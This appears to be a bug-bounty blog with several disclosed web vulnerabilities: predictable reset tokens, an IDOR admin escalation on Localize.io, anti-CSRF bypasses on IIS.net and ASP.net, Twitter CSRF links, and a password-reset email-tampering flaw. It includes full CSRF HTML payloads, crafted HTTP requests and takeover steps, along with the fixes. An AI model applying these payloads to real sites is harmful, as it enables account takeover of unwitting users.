Account Takeover Using Password Reset Token Prediction

Password Reset Token Prediction Using Password Reset Functionality

While researching and working on bug bounties I have found another way that by using Password Reset Functionality, Token & Link we can Takeover all the users account of a website if that site is vulnerable to this type of attack.

Using this vulnerability the attacker can predict the password reset token for any victims account by sending the password reset request into the victims account and in this way he can also reset all passwords of all the accounts and can successfully compromise the victims account as the password reset link sent to the user includes the password reset token which is predictable by the attacker.

Please Note: The password reset request has to been sent 1st on your own email id and then on the victims email id as if you send it only on your email id then you can't forcely generate it for the vicitms email id. Also keep in mind that the whole tokens each values can be incremental or few values or only one value can be incremental.

Steps to Execute the Attack:

There was a precondition that an attacker shall now the victims email id only :).

1. 1st the attacker sent the password reset request in his own emaild id attackeremailid@gmail.com after that quickly he sends the password reset request on the victims email id victimemailid@gmail.com using the below mentioned password reset request link.  

https://testsite.com/account/resetpassword

2. Now the attacker will receive as password reset link on his own email id attackeremailid@gmail.com the link will be as mentioned below.

https://testsite.com/account/resetpassword?code=GH193733-5mq1-0a37-e051-43fefa0aaed6


3. For token analysis I created 2 test accounts using which I found that if we send the password reset request 1st on our own email id and after that if we quickly send the another password reset request on any victims email id then we can predict the password reset token for any victims account, as the password reset token values GH193733-5mq1-0a37-e051-43fefa0aaed6 for 9th 10th 11th &12th characters are changing in incremental way for the next users password reset token.

4. So as the attackers own password reset token is GH193733-5mq1-0a37-e051-43fefa0aaed6 then he can predict the victims password reset token also and it will be GH193733-6nr2-0a37-e051-43fefa0aaed6


5. The crafted password reset link to reset and compromise the victims account will be as mentioned below.

Crafted Url to Reset the password of the Victims Email ID(i.e account)victimemailid@gmail.com:
https://testsite.com/account/resetpassword?code=GH193733-6nr2-0a37-e051-43fefa0aaed6

Impact: 

The token generated for the password reset link isn’t random for each password request, allowing an attacker to predict the token values for a known email address and reset their password. This provides a trivial route for an attacker to gain access to accounts or cause a  denial of service to users on the Application.

Recommendation:  

The recommended approach is to generate a onetime token on each password reset request which is linked to the user account, the token value shall not be preditcable values and it shall expire once the password has been reset. Additionally, ensure if the identifier is not passed that this won’t default to updating all accounts.

Also the Input from the user should be treated as untrusted and re-validated when sent to the server.

So in this way one can Takeover on any victims accounts using the Password Reset Functionality, Token & Link also this way can be used to find same type of vulnerabilities on many different websites.

Suggestions and Feedbacks are welcome.

Localize.io Process Validation & Permission Restrictions Bypass

How I was Able to Access any Localize Users Private Project as Admin Without the Project Owners Permission

I want to share one of my finding on Localize.io which I have reported to them on 21st April 2014.

While researching and working on bug bounties, I have found that by using Insecure Direct Object we can execute the Privelege Escalation vulnerability and we can bypass Process Validation & Permission Restrictions even when they are properly implemented and also we can access any other users Private Projects as Admin without the Project Owners or Admins Permission.

The challenge was to execute the Privilege Escalation attack to Access the Private Projects by bypassing Process Validation & Permission Restrictions. I have found that the another users private project Url http://www.localize.io/projects/9n was not accessible without login also the we were not sure wether the project was public or private.

So, I tried to find the weakness in its Process Validation & Permissions, I found that if the Project is Public then we can access the Url without login and if the Project is Private then we can access the Url using other Users Privilege without able to view anything else of that project and we can send a invitation request to that Private Projects Owner or Admin. Also I found that we can enumerate all the Private Projects by decrementing or by incrementing the 9n to 8n or to 7n or 1a to 1b or bq to br etc in the following Url http://www.localize.io/projects/.

Now only 1 options left that we can send a invitation request to that Private Projects Owner or Admin to Access the Private Project once that Private Project Owner or Admin Accepts the invitation request. So the whole process was something like this another Normal user send a request to the Private Project Admin and after his Approval we can access it as Contributor user privilege which is a default Privilege.

So for that I created 2 dummy account for testing purpose on Localize.io and execute the below mentioned steps.

Steps to execute this attack are as following:

1) 1st User has created a Private Project called 9n which is accessible on this Url http://www.localize.io/projects/9n

2) For Private Projects any other 2nd User will not even have the permissions to view the project.

3) So the 2nd user will send the invitation request to the 1st user by accessing the following Url http://www.localize.io/projects/9n the invitation request will be as mentioned below:

Private Project Access Invitation Request (From 2nd User) :

POST / HTTP/1.1
Accept: text/html, application/xhtml+xml, /
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=Mt3tksoplgp9vle1177h2v8v11
Host: www.localize.io
Content-Length: 93
Connection: Keep-Alive
Cache-Control: no-cache
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

CSRFToken=MTMxNDkzNDUxNjUzNTU1MzYyNGU3NmMwLjAxOTUyMjcz&requestInvitation[repositoryID]=9n

Please Note: The requestInvitation[repositoryID] parameter value will be the Private Projects Value like 9n.

4) Now 2nd user want to access the private project of 1st user which is in http://www.localize.io/projects/9n which is not possible at all. So now the 2nd user will himself send below mentioned request to Accept his own Invitation Request to access the private projects of the 1st user. The Invitation Accept Request will be as mentioned below:

Invitation Accept Request (From 2nd User) :

POST /invitations/9n HTTP/1.1
Accept: text/html, application/xhtml+xml, /
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=Mt3tksoplgp9vle1177h2v8v11
Host: www.localize.io
Content-Length: 132
Connection: Keep-Alive
Cache-Control: no-cache
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

CSRFToken=MTU2MTY3NTE2NTUzNTU1OGU0ZTYwYWM4LjYxMjc4ODE3&invitations[userID]=3gk&invitations[accept]=1&invitations[role]=4

Please Note: The invitations[userID] parameter value 3gk is always same for all the users, the invitations[accept] parameter value 1 means to Accept the invitation request & 2 means to Reject the invitation and the invitations[role] parameter value 1 is for Contributor, 2 is for Moderator, 3 is for Developer, 4 is for Administrator Privileged User.

5) Bingo!!! The 2nd user now able to access the Private Project as Admin, mission accomplised :D.

Same way the attacker(ie any 2nd user can access any other users Private Projects as Admin)

Rootcause:

The other user was able to accept his own Private Project Access Invitation Requests by manipulating the Url http://www.localize.io/projects/9n & Parameters invitations[userID], invitations[accept], invitations[role] values.

  
Impact:

All Localize.io users were vulnerable to this attack and using these vulnerability the Attacker can bypass the Process Validation & Permission Restrictions and can Access any Localize Users Private Project as Admin Without the Project Owners Permission.

Recommendation:

Do not assume that users will access application pages in the intended sequence (make sure people will also not be able to avoid access controls by taking a different “path”)

Do not trust the user not to tamper with any data that is transmitted via the client. If some user-submitted data has been validated and is then transmitted via the client, do not rely upon the retransmitted value without revalidation.

If a direct object reference must be used, ensure that the user is authorized before using it.

Avoid exposing of private object references to users such as file names and primary keys.

Do not trust any user-submitted parameters to signify access rights (such as admin = true)

Avoid exposing of direct object references to users by using an index.

Verify authorization to all reference objects.

The vulnerability was mitigated by Localize Security Team within 1 day.

So in this way, one can bypass Process Validation & Permission Restrictions and can Access any Users Private Project as Admin Without the Project Owners Permission also this technique can be used to find same type of vulnerability on different websites.

Suggestions and Feedbacks are welcome.

Microsofts IIS.net Anti-CSRF Token Bypass

Microsoft's IIS.net CSRF Vulnerability

I want to share my another finding on Microsoft IIS.net which I have reported to them in August 2013.

While researching and working on bug bounties I have found that we can bypass Anti-CSRF token validation even when it is getting validated on the server-side and can execute CSRF. And after that using the CSRF we can compromise the victims account by change email id of any users account on that site to the attackers email id an then we can use the forget password option to reset the victims account password.

The challenge was to execute the CSRF attack by bypassing the Anti-CSRF token validation. I have found that the Anti-CSRF Token was getting validated on the server-side. So, I tried to find the weakness in its validation by various known ways like I tried to re-use one user Anti-CSRF Token on another user account, then I tried to use the already used token then I tried to check whether token is getting validated on not and after that I tried to check that the token validation is based on full length check but none of them worked as the Token was getting validated on server-side. 

Now only 2 options left 1st option is that I have to somehow predict or guess the token and 2nd options is that I have to find the weakness in the token validation itself so I tried to analyze the token pattern, randomness, complexity, full length based validation etc but once again none worked :P so then something again striked why not check any random value as Anti-CSRF token by decreasing its length one-by-one without the same length as the current Anti-CSRF Token is having.

So for that I created 2 dummy account for testing purpose on IIS.net and then crafted a CSRF payload as mentioned below which is containing a random value as Anti-CSRF token which is having a length(70 Chars) as the current Anti-CSRF Token. 

Then I continuously tried to send the CSRF request with the random values of 70 Chars as Anti-CSRF Token in decreasing order. 

So 1st CSRF request was containing Anti-CSRF Token value of 70 Chars next will 69 then 68 so like that I tried approx 40 Requests which all failed as the token was not getting validated on server-side but as I sent the 41th Request with the random value as Anti-CSRF Token with the length of 30 Chars then the request got executed as the Anti-CSRF Token got validated on server-side and guess what it worked :D.

Steps to execute this attack are as following:

1. First copy the actual form submission request.

Actual Form Submission Request with Original Anti-CSRF Token Parameter Value:

<html>
  <body>
    <form action="https://forums.iis.net/user/editprofile.aspx" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="__RequestVerificationToken" value="CIhXcKin7XcwYn8Y1hNVgP5eOOhAMn37dnZtFzziOqhflM423Z5JKkVPciRopfgcPau5tj" />
      <input type="hidden" name="PostSortOrder" value="0" />
      <input type="hidden" name="EnableDisplayInMemberList" value="true" />
      <input type="hidden" name="EnableDisplayInMemberList" value="false" />
      <input type="hidden" name="EnableUserAvatars" value="true" />
      <input type="hidden" name="EnableUserAvatars" value="false" />
      <input type="hidden" name="TimeZoneId" value="Morocco Standard Time" />
      <input type="hidden" name="DateFormat" value="MMM dd, yyyy" />
      <input type="hidden" name="EnableAvatar" value="true" />
      <input type="hidden" name="EnableAvatar" value="false" />
      <input type="hidden" name="edit-upload" value="" />
      <input type="hidden" name="Name" value="" />
      <input type="hidden" name="Location" value="" />
      <input type="hidden" name="Occupation" value="" />
      <input type="hidden" name="Interests" value="" />
      <input type="hidden" name="WebAddress" value="http://computersecuritywithethicalhacking.blogspot.in" />
      <input type="hidden" name="WebLog" value="http://ajaysinghnegi.com" />
      <input type="hidden" name="Twitter" value="ajaysinghnegi" />
      <input type="hidden" name="Bio" value="" />
      <input type="hidden" name="Signature" value="" />
      <input type="hidden" name="EnableEmail" value="true" />
      <input type="hidden" name="EnableEmail" value="false" />
      <input type="hidden" name="EnableHtmlEmail" value="true" />
      <input type="hidden" name="EnableHtmlEmail" value="false" />
      <input type="hidden" name="EnableThreadTracking" value="false" />
      <input type="hidden" name="EmailPublic" value="testtesting@gmail.com" />
      <input type="hidden" name="MsnIM" value="test" />
      <input type="hidden" name="AolIM" value="testing" />
      <input type="hidden" name="YahooIM" value="test" />
      <input type="hidden" name="IcqIM" value="testingg" />
      <input type="hidden" name="EmailPrivate" value="ajaysinghnegi01@gmail.com" />
      <input type="hidden" name="FavoriteUsersShared" value="false" />
      <input type="hidden" name="FavoritePostsShared" value="false" />
      <input type="hidden" name="FavoriteForumsShared" value="false" />
      <input type="hidden" name="submit" value="Save All Changes" />
      <input type="submit" value="Submit form" />
    </form>
  </body>
</html>

 2. After that change the same Anti-CSRF Token parameter __RequestVerificationToken values from CIhXcKin7XcwYn8Y1hNVgP5eOOhAMn37dnZtFzziOqhflM423Z5JKkVPciRopfgcPau5tj to ovomyQnYPxvPXfdxrjO1JEce3zPvGn with 30 Chars length this modified value will be used as an Anti-CSRF Token.

Account Compromise & Anti CSRF Token Bypass(Modified Form Submission Request after changing the Anti-CSRF Token Parameter Value to 30 Chars Random Value):

<html>
  <body>
    <form action="https://forums.iis.net/user/editprofile.aspx" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="__RequestVerificationToken" value="ovomyQnYPxvPXfdxrjO1JEce3zPvGn" />
      <input type="hidden" name="PostSortOrder" value="0" />
      <input type="hidden" name="EnableDisplayInMemberList" value="true" />
      <input type="hidden" name="EnableDisplayInMemberList" value="false" />
      <input type="hidden" name="EnableUserAvatars" value="true" />
      <input type="hidden" name="EnableUserAvatars" value="false" />
      <input type="hidden" name="TimeZoneId" value="Morocco Standard Time" />
      <input type="hidden" name="DateFormat" value="MMM dd, yyyy" />
      <input type="hidden" name="EnableAvatar" value="true" />
      <input type="hidden" name="EnableAvatar" value="false" />
      <input type="hidden" name="edit-upload" value="" />
      <input type="hidden" name="Name" value="" />
      <input type="hidden" name="Location" value="" />
      <input type="hidden" name="Occupation" value="" />
      <input type="hidden" name="Interests" value="" />
      <input type="hidden" name="WebAddress" value="http://computersecuritywithethicalhacking.blogspot.in" />
      <input type="hidden" name="WebLog" value="http://ajaysinghnegi.com" />
      <input type="hidden" name="Twitter" value="ajaysinghnegi" />
      <input type="hidden" name="Bio" value="" />
      <input type="hidden" name="Signature" value="" />
      <input type="hidden" name="EnableEmail" value="true" />
      <input type="hidden" name="EnableEmail" value="false" />
      <input type="hidden" name="EnableHtmlEmail" value="true" />
      <input type="hidden" name="EnableHtmlEmail" value="false" />
      <input type="hidden" name="EnableThreadTracking" value="false" />
      <input type="hidden" name="EmailPublic" value="testtesting@gmail.com" />
      <input type="hidden" name="MsnIM" value="test" />
      <input type="hidden" name="AolIM" value="testing" />
      <input type="hidden" name="YahooIM" value="test" />
      <input type="hidden" name="IcqIM" value="testingg" />
      <input type="hidden" name="EmailPrivate" value="ajaysinghnegi01@gmail.com" />
      <input type="hidden" name="FavoriteUsersShared" value="false" />
      <input type="hidden" name="FavoritePostsShared" value="false" />
      <input type="hidden" name="FavoriteForumsShared" value="false" />
      <input type="hidden" name="submit" value="Save All Changes" />
      <input type="submit" value="Submit form" />
    </form>
  </body>
</html>


3. Then send this crafted CSRF payload code as a link to the victim.

4. As the victim executes that CSRF payload containing link the victims account email id will be changed and the attack will receive an email to confirm his email after confirming it the attacker can use the forget password option to reset the and compromise the victims account.


Rootcause:

Anti-CSRF Token __RequestVerificationToken and its values CIhXcKin7XcwYn8Y1hNVgP5eOOhAMn37dnZtFzziOqhflM423Z5JKkVPciRopfgcPau5tj validation was based on Partial Length based validation(i.e Anti-CSRF Token 1st 30 Chars Length was only getting checked on Server-Side).


Impact:

All Microsoft IIS.net users were vulnerable to this CSRF attack using these vulnerability the Attacker can bypass the Anti-CSRF Token Validation and can Compromise the victims account.


Recommendation:

Anti-CSRF Token __RequestVerificationToken and its values shall never be reusable in the attacker own account and any other users account.

CSRF token shall be properly validated on server-side instead of only Partial Length Based Validation.

It shall be expired after use and it shall be 1 time useable.

It should be generated randomly on each request.

Instead of Post method PUT method shall be used.

The vulnerability was mitigated by Microsoft Security Team in 14 days.

So in this way, one can bypass Anti-CSRF token validation and can also compromise the victims account also this technique can be used to find same type of vulnerability on different websites.

Suggestions and Feedbacks are welcome.

Microsofts Asp.net Anti-CSRF Token Bypass

Microsoft's Asp.net CSRF Vulnerability

I want to share one of my finding on Microsoft Asp.net which I have reported to them in April 2013.

While researching and working on bug bounties I have found that we can bypass Anti-CSRF token validation even when it is getting validated on the server-side and can execute CSRF. And after that using the CSRF we can compromise the victims account by change email id of any users account on that site to the attackers email id an then we can use the forget password option to reset the victims account password.

The challenge was to execute the CSRF attack by bypassing the Anti-CSRF token validation. I have found that the Anti-CSRF Token was getting validated on the server-side. So, I tried to find the weakness in its validation by various known ways like I tried to re-use one user Anti-CSRF Token on another user account, then I tried to use the already used token and after that I tried to check whether token is getting validated on not but none of them worked as the Token was getting validated on server-side. 

Now only 2 options left 1st option is that I have to somehow predict or guess the token and 2nd options is that I have to find the weakness in the token validation itself so I tried to analyze the token pattern, randomness, complexity etc but once again none worked :P so then something striked why not to use any random value as Anti-CSRF token with the same length as the current Anti-CSRF Token is having.

So for that I created 2 dummy account for testing purpose on asp.net and then crafted a CSRF payload as mentioned below which is containing a random value as Anti-CSRF token which is having same length(70 Chars) as the current Anti-CSRF Token and guess what it worked :D.

Steps to execute this attack are as following:

1. First copy the actual form submission request.

Actual Form Submission Request with Original Anti-CSRF Token Parameter Value:

<html>
<head>
</head>
<body onload=document.forms[0].submit();>
    <form action="https://forums.asp.net/user/editprofile.aspx" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="__RequestVerificationToken" value="BHfUl2ElWyoSfGEOtEMc88WVcXgrCQDMlpe3rv0qoKfBIw7XtfpUfPPxbzMLAsdWlyvwHN" />
      <input type="hidden" name="PostSortOrder" value="0" />
      <input type="hidden" name="EnableDisplayInMemberList" value="false" />
      <input type="hidden" name="EnableUserAvatars" value="true" />
      <input type="hidden" name="EnableUserAvatars" value="false" />
      <input type="hidden" name="TimeZoneId" value="Morocco Standard Time" />
      <input type="hidden" name="DateFormat" value="MMM dd, yyyy" />
      <input type="hidden" name="EnableAvatar" value="false" />
      <input type="hidden" name="edit-upload" value="" />
      <input type="hidden" name="Name" value="" />
      <input type="hidden" name="Location" value="" />
      <input type="hidden" name="Occupation" value="" />
      <input type="hidden" name="Interests" value="" />
      <input type="hidden" name="WebAddress" value="http://computersecuritywithethicalhacking.blogspot.in" />
      <input type="hidden" name="WebLog" value="test" />
      <input type="hidden" name="Twitter" value="ajaysinghnegi" />
      <input type="hidden" name="Bio" value="" />
      <input type="hidden" name="Signature" value="" />
      <input type="hidden" name="EnableEmail" value="false" />
      <input type="hidden" name="EnableHtmlEmail" value="false" />
      <input type="hidden" name="EnableThreadTracking" value="false" />
      <input type="hidden" name="EmailPublic" value="testtesting@gmail.com" />
      <input type="hidden" name="MsnIM" value="test" />
      <input type="hidden" name="AolIM" value="testing" />
      <input type="hidden" name="YahooIM" value="test" />
      <input type="hidden" name="IcqIM" value="testingg" />
      <input type="hidden" name="EmailPrivate" value="ajaysinghnegi01@gmail.com" />
      <input type="hidden" name="FavoriteUsersShared" value="false" />
      <input type="hidden" name="FavoritePostsShared" value="false" />
      <input type="hidden" name="FavoriteForumsShared" value="false" />
      <input type="hidden" name="submit" value="Save All Changes" /></form>
</body>
</html>

 2. After that change the same Anti-CSRF Token parameter __RequestVerificationToken values from BHfUl2ElWyoSfGEOtEMc88WVcXgrCQDMlpe3rv0qoKfBIw7XtfpUfPPxbzMLAsdWlyvwHN to yoSfGEOtEMc8BHfUlAsdWlyvwH2ElW8WVcXgr3rv0qoKfBIw7XtfpUfPPxbzMCQDMlpeLD with same length this modified value will be used as an Anti-CSRF Token.

Account Compromise & Anti CSRF Token Bypass(Modified Form Submission Request after changing the Anti-CSRF Token Parameter Value to 70 Chars Random Value):

<html>
<head>
</head>
<body onload=document.forms[0].submit();>
    <form action="https://forums.asp.net/user/editprofile.aspx" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="__RequestVerificationToken" value="yoSfGEOtEMc8BHfUlAsdWlyvwH2ElW8WVcXgr3rv0qoKfBIw7XtfpUfPPxbzMCQDMlpeLD" />
      <input type="hidden" name="PostSortOrder" value="0" />
      <input type="hidden" name="EnableDisplayInMemberList" value="false" />
      <input type="hidden" name="EnableUserAvatars" value="true" />
      <input type="hidden" name="EnableUserAvatars" value="false" />
      <input type="hidden" name="TimeZoneId" value="Morocco Standard Time" />
      <input type="hidden" name="DateFormat" value="MMM dd, yyyy" />
      <input type="hidden" name="EnableAvatar" value="false" />
      <input type="hidden" name="edit-upload" value="" />
      <input type="hidden" name="Name" value="" />
      <input type="hidden" name="Location" value="" />
      <input type="hidden" name="Occupation" value="" />
      <input type="hidden" name="Interests" value="" />
      <input type="hidden" name="WebAddress" value="http://computersecuritywithethicalhacking.blogspot.in" />
      <input type="hidden" name="WebLog" value="test" />
      <input type="hidden" name="Twitter" value="ajaysinghnegi" />
      <input type="hidden" name="Bio" value="" />
      <input type="hidden" name="Signature" value="" />
      <input type="hidden" name="EnableEmail" value="false" />
      <input type="hidden" name="EnableHtmlEmail" value="false" />
      <input type="hidden" name="EnableThreadTracking" value="false" />
      <input type="hidden" name="EmailPublic" value="testtesting@gmail.com" />
      <input type="hidden" name="MsnIM" value="test" />
      <input type="hidden" name="AolIM" value="testing" />
      <input type="hidden" name="YahooIM" value="test" />
      <input type="hidden" name="IcqIM" value="testingg" />
      <input type="hidden" name="EmailPrivate" value="ajaysinghnegi01@gmail.com" />
      <input type="hidden" name="FavoriteUsersShared" value="false" />
      <input type="hidden" name="FavoritePostsShared" value="false" />
      <input type="hidden" name="FavoriteForumsShared" value="false" />
      <input type="hidden" name="submit" value="Save All Changes" />
</form>
</body>
</html>

3. Then send this crafted CSRF payload code as a link to the victim.

4. As the victim executes that CSRF payload contianing link the victims account email id will be changed and the attack will recieve an email to confirm his email after confirming it the attacker can use the forget password option to reset the and compromise the victims account.


Rootcause:

Anti-CSRF Token __RequestVerificationToken and its values BHfUl2ElWyoSfGEOtEMc88WVcXgrCQDMlpe3rv0qoKfBIw7XtfpUfPPxbzMLAsdWlyvwHN validation was based on Length based validation(i.e Anti-CSRF Token Full Length was only getting checked on Server-Side).


Impact:

All Microsoft Asp.net users were vulnerable to this CSRF attack using these vulnerability the Attacker can bypass the Anti-CSRF Token Validation and can Compromise the victims account.


Recommendation:

Anti-CSRF Token __RequestVerificationToken and its values shall never be reusable in the attacker own account and any other users account.

CSRF Token shall be properly validated on server-side instead of only Length Based Validation.

It shall be expired after use and it shall be 1 time useable.

It should be generated randomly on each request.

Instead of Post method PUT method shall be used.

The vulnerability were mitigated by Microsoft Security Team in 12 days.

So in this way, one can bypass Anti-CSRF token validation and can also compromise the victims account also this technique can be used to find same type of vulnerability on different websites.


Suggestions and Feedbacks are welcome.

Twitter Follow Retweet and Tweet Favourite CSRF Vulnerabilities

How we were able to find Twitter Follow Retweet and Tweet Favourite CSRF

We want to share 3 of our findings on Twitter which me and my friend Krutarth have reported to them on March 2014. My good friend @KrutarthShukla was testing Twitter and he was trying deeply to find something on it. And finally he got a Follow CSRF and after sometime later I also got Reweet & Tweet Favourite CSRF. So, we found 3 CSRF vulnerabilities on Twitter.

As you know On Twitter they send a mail almost daily with a following subject line Do you know test, tester and testing on Twitter? which contains the list of peoples who may know you on Twitter with there profile link which has a follow button which contains a link with a Url embeded in it using which you can follow the suggested peoples by twitter.

Also they send a mail once or twice in a month with a following subject line Tweets from Test, Tester, Testing and 5 others which Contains the list trends on Twitter for that month which contains Retweet and Tweet Favourite links with a Url embeded in it using which you can Retweet the tweets and make the Tweets Favourite which were suggested by Twitter. The links were as mentioned below.

1. To Follow Someone Url was like this:

https://twitter.com/i/redirect?url=https%3A%2F%2Ftwitter.com%2Fintent%2Ffollow%3Fea_u%3D85273509%26ea_e%3D1387571444%26screen_name%3DKrutarthShukla%26ea_s%3D7ecb564dcfdd9f2fa1d4b9e8c4ceb80ebf4761d8%26refsrc%3Demail&sig=e1839b9361a4b64acf3b4cc4f5dc8b1fe4cfb21c&uid=85273509&iid=60cfddd3808c47c29f88ec5e3a7f5742&nid=42+483+20131130&t=1

2. To Retweet Someones Tweets Url was like this:

https://twitter.com/i/redirect?url=https%3A%2F%2Ftwitter.com%2Fintent%2Fretweet%3Fea_u%3D85273509%26ea_e%3D1396125896%26tweet_id%3D442695320166617088%26ea_s%3D7ecb564dcfdd9f2fa1d4b9e8c4ceb80ebf4761d8%26refsrc%3Demail%26t%3D1%26sig%3De1839b9361a4b64acf3b4cc4f5dc8b1fe4cfb21c%26iid%3D60cfddd3808c47c29f88ec5e3a7f5742%26uid%3D85273509%26nid%3D42%2B483%2B2013113

3. To Make Someones Tweets Favourite Url was like this:

https://twitter.com/i/redirect?url=https%3A%2F%2Ftwitter.com%2Fintent%2Ffavorite%3Fea_u%3D85273509%26ea_e%3D1396125896%26tweet_id%3D442695320166617088%26ea_s%3D7ecb564dcfdd9f2fa1d4b9e8c4ceb80ebf4761d8%26refsrc%3Demail%26t%3D1%26sig%3De1839b9361a4b64acf3b4cc4f5dc8b1fe4cfb21c%26iid%3D60cfddd3808c47c29f88ec5e3a7f5742%26uid%3D85273509%26nid%3D42%2B483%2B20131130

So using these links the attacker can craft his own CSRF payloads by changing the nid, screen_name, tweet_id, iid, sig, ea_s, ea_e, ea_u and uid parameters value to attackers profile which can be executed using GET request on any Twitter account as the Anti-CSRF token parameter named as Sig and its values can be reused on any other Twitter account nor it ever expires.

Krutarth found the First one Using which an Attacker can Force any Twitter User to Follow the Attacker Twitter Profile Via CSRF on twitter main domain. The other two I have found Using which an Attacker can Force Any Twitter User to Re-Tweet Attacker Desired Tweets and Make Favourite Attackers Tweets Via CSRF on twitter main domain.

So here are the Steps to Execute the Attack:

1. Twitter Follow CSRF

i). First Change the refsrc, t, nid, screen_name, tweet_id, iid, sig, ea_s, ea_e, ea_u and uid parameters value to his own profile same parameter values where ea_u & uid values are same for each users own profiles an the refsrc, t values were same for each of the users of the site and where the sig was implemented as a Anti-CSRF Token but it was reusable again an again on any other users accounts and also it was never getting expired and then Open the below mentioned CSRF vulnerable Url in any browser using any twitter account.

Twitter Follow CSRF(Url Encoding is Must After Following Url https://twitter.com/i/redirect?url=):

https://twitter.com/i/redirect?url=https%3A%2F%2Ftwitter.com%2Fintent%2Ffollow%3Fea_u%3D85273509%26ea_e%3D1387571444%26screen_name%3DKrutarthShukla%26ea_s%3D7ecb564dcfdd9f2fa1d4b9e8c4ceb80ebf4761d8%26refsrc%3Demail%26sig%3De1839b9361a4b64acf3b4cc4f5dc8b1fe4cfb21c%26uid%3D85273509%26iid%3D60cfddd3808c47c29f88ec5e3a7f5742%26nid%3D42%2B483%2B20131130%26t%3D1

ii). As this CSRF vulnerable url is executed in any twitter account the victims will start following the attackers Twitter profile.

2. Twitter Retweet CSRF

i). First Change the refsrc, t, nid, screen_name, tweet_id, iid, sig, ea_s, ea_e, ea_u and uid parameters value to his own profile same parameter values where ea_u & uid values are same for each users own profiles an the refsrc, t values were same for each of the users of the site and where the sig was implemented as a Anti-CSRF Token but it was reusable again an again on any other users accounts and also it was never getting expired and then Open the below mentioned CSRF vulnerable Url in any browser using any twitter account.

Twitter Re-Tweet CSRF(Url Encoding is Must After Following Url https://twitter.com/i/redirect?url=):

https://twitter.com/i/redirect?url=https%3A%2F%2Ftwitter.com%2Fintent%2Fretweet%3Fea_u%3D85273509%26ea_e%3D1396125896%26tweet_id%3D442695320166617088%26ea_s%3D7ecb564dcfdd9f2fa1d4b9e8c4ceb80ebf4761d8%26refsrc%3Demail%26t%3D1%26sig%3De1839b9361a4b64acf3b4cc4f5dc8b1fe4cfb21c%26iid%3D60cfddd3808c47c29f88ec5e3a7f5742%26uid%3D85273509%26nid%3D42%2B483%2B20131130

ii). As this CSRF vulnerable url is executed in any twitter account the victims will start re-tweeting the attacker desired tweets.

3. Twitter Tweet Favourite CSRF

1. First Change the refsrc, t, nid, screen_name, tweet_id, iid, sig, ea_s, ea_e, ea_u and uid parameters value to his own profile same parameter values where ea_u & uid values are same for each users own profiles an the refsrc, t values were same for each of the users of the site and where the sig was implemented as a Anti-CSRF Token but it was reusable again an again on any other users accounts and also it was never getting expired and then Open the below mentioned CSRF vulnerable Url in any browser using any twitter account.

Twitter Tweet Favourite CSRF(Url Encoding is Must After Following Url https://twitter.com/i/redirect?url=):

https://twitter.com/i/redirect?url=https%3A%2F%2Ftwitter.com%2Fintent%2Ffavorite%3Fea_u%3D85273509%26ea_e%3D1396125896%26tweet_id%3D442695320166617088%26ea_s%3D7ecb564dcfdd9f2fa1d4b9e8c4ceb80ebf4761d8%26refsrc%3Demail%26t%3D1%26sig%3De1839b9361a4b64acf3b4cc4f5dc8b1fe4cfb21c%26iid%3D60cfddd3808c47c29f88ec5e3a7f5742%26uid%3D85273509%26nid%3D42%2B483%2B20131130

2. As this CSRF vulnerable url is executed in any twitter account the victims will start Making Attackers Tweets as his favourite tweets.

Twitter Follow Retweet and Tweet Favourite CSRF Vulnerabilities(Quick) POC Video:

After some analysis we have found that when all these CSRF's were executing then they were actually triggering the follow, retweet and favourite button. But as the request executed after those buttons clicking then each of those request were containing the Anti-CSRF token which was properly getting validated on server-side nor resuable an it expires also but as the attacker was able to successfully force the Twitter users to click on the button without his permission, so even though the second request contains Anti-CSRF token cannot prevent this attack.

Rootcause:

Sig token & its value e1839b9361a4b64acf3b4cc4f5dc8b1fe4cfb21c was reuseable for all twitter account and it was not expiring ever also get request was allowed.

Impact:

All Twitter users are vulnerable to this CSRF attack using these vulnerabilities that Attacker Force Any Twitter User to Follow, Re-Tweet and Make Favourite Attackers Tweet Via CSRF.

Recommendation:

Sig token & its value c069a14f1b1cca7b763679029fa3a0f4d94d40cd shall never be reuseable in the attacker own acount and any other twitter users account.

It shall be expired after use and it shall be 1 time useable.

It should be generated randomly on each request.

Instead of get method PUT method shall be used.

The vulnerabilities were mitigated by Twitter Security Team in 3 weeks.

So in this way, one can find CSRF also this way can be used to find same type of vulnerabilities on different websites.

Suggestions and Feedbacks are welcome.

Account Compromise Using Password Reset Vulnerability

Account Compromise Using Password Reset Link

While researching and working on bug bounties I have found that by using Password Link we can Takeover all the users account of a website if that site is vulnerable to this type of attack.

Using this vulnerability the attacker can modify the email to any victims email to change their password and in this way he can also reset all passwords of all the accounts and can successfully compromise the victims account as after opening the password reset link sent to the user it show the email id input field with attacker@gmail.com email id which was editable input field and also 2 more blank fields to change the new password and the password reset token can be used for other users. 

Please Note: There is no need to decode the password reset token values etc nor there was any client side validation.

Steps to Execute the Attack:

1. Open https://site.com/members/setup-password/14aaef7bb41ed6e4b46d09298ec1bfc6a483623d/
its will display email filed with attacker@gmail.com email id and the 2 blank field to change the password.

2. now the attacker will change the mail id to victim@gmail.com and will submit his desired password and then he will submit this password reset form.

3. now you will see that the other users victim@gmail password will be changed and the attacker will be logged into the victims account i.e victim@gmail.com

So in this way using the above mentioned steps the attacker can easily compromise any users account of that website.

Password Reset Vulnerability POC Screenshot:

Attackers Email ID: attacker@gmail.com and his password reset link:

https://site.com/members/setup-password/14aaef7bb41ed6e4b46d09298ec1bfc6a483623d/

 So in this way the attacker can Takeover on any users account.

                                       

Impact: 

The token generated for the activation link isn’t re-checked and no validation is done for associated emailID field, allowing an attacker to change the value to a known email address and reset their password. This provides a trivial route for an attacker to gain access to accounts or cause a  denial of service to users on the Application.

Recommendation: 

Input from the user should be treated as untrusted and re-validated when sent to the server. The recommended approach is to generate a onetime token which is linked to the user account, this can be passed with the onetime random token and shall expire once the password has been reset also the email parameter shall not be editable. Additionally, ensure if the identifier is not passed that this won’t default to updating all accounts.

